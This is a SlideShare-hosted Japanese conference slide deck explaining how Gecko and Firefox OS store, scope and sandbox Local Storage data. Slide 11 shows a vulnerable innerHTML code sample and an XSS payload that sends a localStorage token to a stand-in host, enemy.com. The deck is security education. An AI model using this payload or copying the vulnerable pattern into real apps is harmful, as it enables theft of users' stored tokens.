Download free for 30 days
Sign in
Upload
Language (EN)
Support
Business
Mobile
Social Media
Marketing
Technology
Art & Photos
Career
Design
Education
Presentations & Public Speaking
Government & Nonprofit
Healthcare
Internet
Law
Leadership & Management
Automotive
Engineering
Software
Recruiting & HR
Retail
Sales
Services
Science
Small Business & Entrepreneurship
Food
Environment
Economy & Finance
Data & Analytics
Investor Relations
Sports
Spiritual
News & Politics
Travel
Self Improvement
Real Estate
Entertainment & Humor
Health & Medicine
Devices & Hardware
Lifestyle
Change Language
Language
English
Español
Português
Français
Deutsche
Cancel
Save
EN
Uploaded by
Muneaki Nishimura
PDF, PPTX
3,311 views
GeckoのLocal Storageについて調べてみた
2013年12月19日に開催される「FxOS Gecko勉強会 その2 」の発表資料です。 2014年6月23日、アップデートしました。
Technology
◦
Read more
4
Save
Share
Embed
Embed presentation
Download
Download as PDF, PPTX
1
/ 12
2
/ 12
3
/ 12
4
/ 12
5
/ 12
6
/ 12
7
/ 12
8
/ 12
9
/ 12
10
/ 12
11
/ 12
12
/ 12
More Related Content
PDF
Firefox OS 起動の仕組みを調べてみた
by
Muneaki Nishimura
PDF
モバイルOSとWeb標準とそれらへのアプローチ
by
Kisato
PPTX
4th tokushimaapp
by
Kenichi Tatsuhama
PDF
docxをmdで書こう
by
Yukimitsu Izawa
PPTX
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
by
Takeshi Komiya
PDF
Fx OS n2_aoitan_firefox osことはじめ
by
Masami Yabushita
PPT
ひとりsphinx
by
(^-^) togakushi
PDF
How to spread reST and Sphinx
by
Takanori Suzuki
Firefox OS 起動の仕組みを調べてみた
by
Muneaki Nishimura
モバイルOSとWeb標準とそれらへのアプローチ
by
Kisato
4th tokushimaapp
by
Kenichi Tatsuhama
docxをmdで書こう
by
Yukimitsu Izawa
ドキュメントを加速する作画ツール Blockdiag 2011/07 #infotalk
by
Takeshi Komiya
Fx OS n2_aoitan_firefox osことはじめ
by
Masami Yabushita
ひとりsphinx
by
(^-^) togakushi
How to spread reST and Sphinx
by
Takanori Suzuki
What's hot
PPTX
Sphinx GO!!
by
Go Yamada
PDF
Cent7@zabbix2.4を試す
by
masayoshi shiraishi
PDF
Sphinxで社内勉強会(Git)の 資料を作ってみた
by
Taku SHIMIZU
PDF
Sphinxを使って本を書こう #pyconjp 2012
by
Takayuki Shimizukawa
PPTX
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
by
Takeshi Komiya
PPTX
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
by
Go Yamada
PPTX
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
by
Takeshi Komiya
PPTX
Sphinxの使い方事例
by
Go Yamada
PPTX
個人的ドキュメンテーションツール トップ100
by
Go Yamada
PPTX
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
by
Takeshi Komiya
PPTX
APIドキュメントの話 #sphinxjp
by
Takeshi Komiya
PDF
社内のマニュアルをSphinxで作ってみた
by
Iosif Takakura
PPTX
ドキュメントの話、しませんか? #428rk01
by
Takeshi Komiya
PDF
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
by
Takayuki Shimizukawa
PDF
Sphinxでまとめる多言語環境APIドキュメント
by
Iosif Takakura
PDF
Firefox で快適 WordPress 生活
by
dynamis
PDF
Bot Framework 最新情報 2017
by
Yoshitaka Seo
PDF
Oktavia全文検索エンジン - SphinxCon JP 2014
by
Yoshiki Shibukawa
PDF
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
by
kk_Ataka
PDF
セキュリティ&プログラミングキャンプに行こう!
by
Kenta USAMI
Sphinx GO!!
by
Go Yamada
Cent7@zabbix2.4を試す
by
masayoshi shiraishi
Sphinxで社内勉強会(Git)の 資料を作ってみた
by
Taku SHIMIZU
Sphinxを使って本を書こう #pyconjp 2012
by
Takayuki Shimizukawa
sphinx + blockdiag で始めるドキュメント生活 2011/05 yokohama.pm
by
Takeshi Komiya
BPstudy#64 ドキュメントを作りたくなってしまう魔法のツール Sphinx 2012年版
by
Go Yamada
手軽にメンテナンスできるドキュメントのヒミツ - blockdiag #odstudy 2011/07
by
Takeshi Komiya
Sphinxの使い方事例
by
Go Yamada
個人的ドキュメンテーションツール トップ100
by
Go Yamada
Sphinx ではじめるドキュメント生活 2012 #pyconjp #sphinxconjp
by
Takeshi Komiya
APIドキュメントの話 #sphinxjp
by
Takeshi Komiya
社内のマニュアルをSphinxで作ってみた
by
Iosif Takakura
ドキュメントの話、しませんか? #428rk01
by
Takeshi Komiya
ドキュメンテーションを加速するストレスフリーの作図ツール『blockdiag』 jus2011年6月勉強会
by
Takayuki Shimizukawa
Sphinxでまとめる多言語環境APIドキュメント
by
Iosif Takakura
Firefox で快適 WordPress 生活
by
dynamis
Bot Framework 最新情報 2017
by
Yoshitaka Seo
Oktavia全文検索エンジン - SphinxCon JP 2014
by
Yoshiki Shibukawa
JUS関西 Sphinxワークショップ@関西 Sphinx事例紹介
by
kk_Ataka
セキュリティ&プログラミングキャンプに行こう!
by
Kenta USAMI
More from Muneaki Nishimura
PDF
Find Blue Oceans - Through the Competitive World of Bug Bounty
by
Muneaki Nishimura
PDF
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
by
Muneaki Nishimura
PDF
Firefoxの倒し方
by
Muneaki Nishimura
PDF
Webプラットフォームのセキュリティ
by
Muneaki Nishimura
PDF
Firefoxの日和見暗号がカジュアルに無効化された話
by
Muneaki Nishimura
PDF
Mozillaの報奨金制度で200万円ほど稼いだ話
by
Muneaki Nishimura
PDF
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
by
Muneaki Nishimura
PDF
Mozillaの報奨金制度で100万円ほど稼いだ話
by
Muneaki Nishimura
PDF
Future of Web Security Opened up by CSP
by
Muneaki Nishimura
PDF
Welcome to the Black Hole of Bug Bounty Program Rebooted
by
Muneaki Nishimura
PDF
そろそろ押さえておきたい AngularJSのセキュリティ
by
Muneaki Nishimura
PDF
Welcome to the Black Hole of Bug Bounty Program
by
Muneaki Nishimura
PDF
Webアプリ開発者のためのHTML5セキュリティ入門
by
Muneaki Nishimura
PDF
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
by
Muneaki Nishimura
Find Blue Oceans - Through the Competitive World of Bug Bounty
by
Muneaki Nishimura
OWASP Testing Guide からはじめよう - セキュリティ診断技術の共有、そして横展開
by
Muneaki Nishimura
Firefoxの倒し方
by
Muneaki Nishimura
Webプラットフォームのセキュリティ
by
Muneaki Nishimura
Firefoxの日和見暗号がカジュアルに無効化された話
by
Muneaki Nishimura
Mozillaの報奨金制度で200万円ほど稼いだ話
by
Muneaki Nishimura
HPKP Supercookies (公開鍵ピンニングによるユーザ追跡)
by
Muneaki Nishimura
Mozillaの報奨金制度で100万円ほど稼いだ話
by
Muneaki Nishimura
Future of Web Security Opened up by CSP
by
Muneaki Nishimura
Welcome to the Black Hole of Bug Bounty Program Rebooted
by
Muneaki Nishimura
そろそろ押さえておきたい AngularJSのセキュリティ
by
Muneaki Nishimura
Welcome to the Black Hole of Bug Bounty Program
by
Muneaki Nishimura
Webアプリ開発者のためのHTML5セキュリティ入門
by
Muneaki Nishimura
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
by
Muneaki Nishimura
GeckoのLocal Storageについて調べてみた
1.
GeckoのLocal Storageについて調べてみた FxOS Gecko勉強会
その2 2013.12.19 @ Mozilla Japan オフィス 2014.06.23 Updated
2.
2 自己紹介 本発表は私の個人的な調査に基づくものです。 内容に誤りがあるかもしれませんがご了承ください 名前 西村 宗晃
(にしむねあ) ・https://www.facebook.com/muneaki.nishimura 職業 セキュリティエンジニア ・セキュア開発のコンサルティング ・Android端末~アプリの開発支援
3.
3 Local Storageとは • HTTPクライアントに永続的なデータを保存する機能 ↔
Session Storage : セッション(ウィンドウが閉じるまで)の間だけ有効なデータを保存 • W3CのWeb Storage仕様の一部 ⁃ 元々はHTML5仕様の一部だったが、現在は独立 • key-value形式によるデータ管理 localStorage.setItem("foo","bar"); var foo = localStorage.getItem("foo"); // foo = "bar"
4.
4 GeckoにおけるLocal Storageの実装① • Local
Storageのデータは1つのSQLiteファイルに保存 ⁃ Firefoxブラウザ (Mac): ~/Library/Application Support/Firefox/Profiles/{profile}/webappsstore.sqlite ⁃ Firefox OS: /data/b2g/mozilla/{profile}/webappsstore.sqlite • webappsstore2テーブルのレコードとして保存 ⁃ 1組のkey-valueデータが1レコードに対応
5.
5 GeckoにおけるLocal Storageの実装② scope key
value secure owner moc.elpmaxe.:http:80 foo bar ※moc.elpmaxeは example.comを逆さにしたもの • scopeにより各オリジンのLocal Storageを分離 ⁃ 同一生成元ポリシー(RFC 6454)に基づくアクセス保護を実現 ⁃ Firefox OSでは、同一生成元ポリシー+サンドボックスによるアクセス保護を実現(次頁) • 例) http://example.com:80/ で foo=bar というデータを保存した場合 ⁃ scopeフィールドにデータのオリジン(スキーム+ホスト名+ポート番号)を保存
6.
6 Firefox OSにおけるLocal Storageの保護① •
Webアプリのサンドボックス ⁃ 端末内のアプリは固有のオリジン(app://)を持つ ⁃ 他のアプリのLocal Storageはアクセスできない • ブラウザAPIのサンドボックス ⁃ <iframe mozbrowser>で開かれたページはアプリと異なるサンドボックスを持つ ⁃ <iframe mozbrowser>のLocal Storageは呼び出し元のアプリから分離される
7.
7 Firefox OSにおけるLocal Storageの保護② •
これらのサンドボックスによるデータの保護はscopeで実現されている ⁃ = アプリID : Browser Contentフラグ(t/f) : ホスト名 : ポート番号 : スキーム アプリA (オリジン=app://hoge・アプリID=1005) アプリA内部のJavaScriptファイル 1005:f:egoh.:app <iframe src="http://example.com:80"> 1005:f:moc.elpmaxe.80:http <iframe src="http://example.com:80/" mozbrowser> 1005:t:moc.elpmaxe.80:http http://example.com:80 scope
8.
8 Local Storage自体のアクセス制御① • 以下の場合はwindow.localStorageの参照が禁止される ⁃
GeckoのWeb Storage機能が無効化されている場合 ⁃ Preferenceの「dom.storage.enabled」が「false」 ⁃ Cookieの使用が無効化されている場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「拒否」 ⁃ Preferenceの「network.cookie.cookieBehavior」が「使用禁止(2)」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「毎回ユーザーに確認(1)」 ⁃ <iframe>にsandbox属性が適用されている場合 ⁃ ただしallow-same-originトークンが指定されていない場合のみ
9.
9 Local Storage自体のアクセス制御② • 以下の場合はデータがストレージに保存されない(RAMにのみ保存される) ⁃
Cookieがセッションの間のみ有効である場合 ⁃ サイト別設定マネージャーの「Cookieデータの保存」が「セッション中のみ許可」 ⁃ Preferenceの「network.cookie.lifetimepolicy」が「ブラウザ終了時まで保存(2)」 ⁃ プライベートブラウジングモードで閲覧中の場合
10.
10 アプリのLocal StorageとXSS脆弱性① • アプリにXSS脆弱性があるとLocal
Storageのデータは盗み出せてしまう ⁃ CookieのようにJavaScriptからのアクセスを禁止する仕組みが無いため • Firefox OSのアプリにはXSSの保険的対策としてCSPが適用されている ⁃ しかしPrivileged AppのCSPには「unsafe-inline」が指定されているので DOMツリーにJavaScriptコードを出力しても動作してしまう (次頁参照) ⁃ Firefox OS v1.2のPrivileged Appでは「unsafe-inline」が外された模様 ⁃ XSSでLocal Storageを盗み出すのは困難になった
11.
11 アプリのLocal StorageとXSS脆弱性② • 以下のようなコードがあるとLocal
Storageのデータを盗まれてしまう var req = new XMLHttpRequest({mozSystem: true}); req.open('GET', destination, true); req.onreadystatechange = function(e) { var contact = JSON.parse(req.responseText); document.getElementById("email").innerHTML = contact.email; }; req.send(null); {"email":"<img src='d.png' onerror='document.location.href=¥"http://enemy.com? token=¥"+localStorage.getItem(¥"key¥");'>"} 脆弱なアプリのJavaScriptコード例 サーバがアプリに送るJSONデータ(攻撃コード)
12.
12 宣伝:本を書きました「狐物語」 タイトル 狐物語 ページ数 68ページ 価格
1,000円(イベント頒布価格) 表紙 イラスト しのめり / @shino_merry デザイン siosio 目次 第一話 がいあハックス @bathtimefish 第二話 あぷりサポート @cattaka_net 第三話 すまほツイリオ @junkpot1212 第四話 もじらスライス にしむねあ 第五話 かえんワールド @meco300 URL http://techbooster-c85.appspot.com/#foxtory C85 3日目 西す24a TechBoosterにて発売
Download